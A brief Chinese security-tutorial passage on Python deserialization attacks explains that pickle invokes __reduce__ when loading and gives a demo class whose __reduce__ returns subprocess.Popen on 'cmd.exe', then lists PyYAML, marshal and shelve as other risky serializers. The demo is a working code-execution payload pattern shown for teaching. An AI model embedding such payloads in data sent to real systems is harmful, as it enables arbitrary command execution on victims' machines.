5.2.2. 反序列化

HEXBLOG 32 0
广告

5.2.2.1. pickle demo

Python Pickle在反序列化时会调用 __reduce__ ,可用自定义的 __reduce__ 函数来实现攻击。

import pickle
import pickletools
import subprocess

class A(object):
    a = 1
    b = 2
    def __reduce__(self):
        return (subprocess.Popen, (('cmd.exe',),))

data = pickle.dumps(A())
pickletools.dis(data)

5.2.2.2. 其他序列化库

  • PyYAML
  • marshal
  • shelve

发表评论 取消回复
表情 图片 链接 代码

分享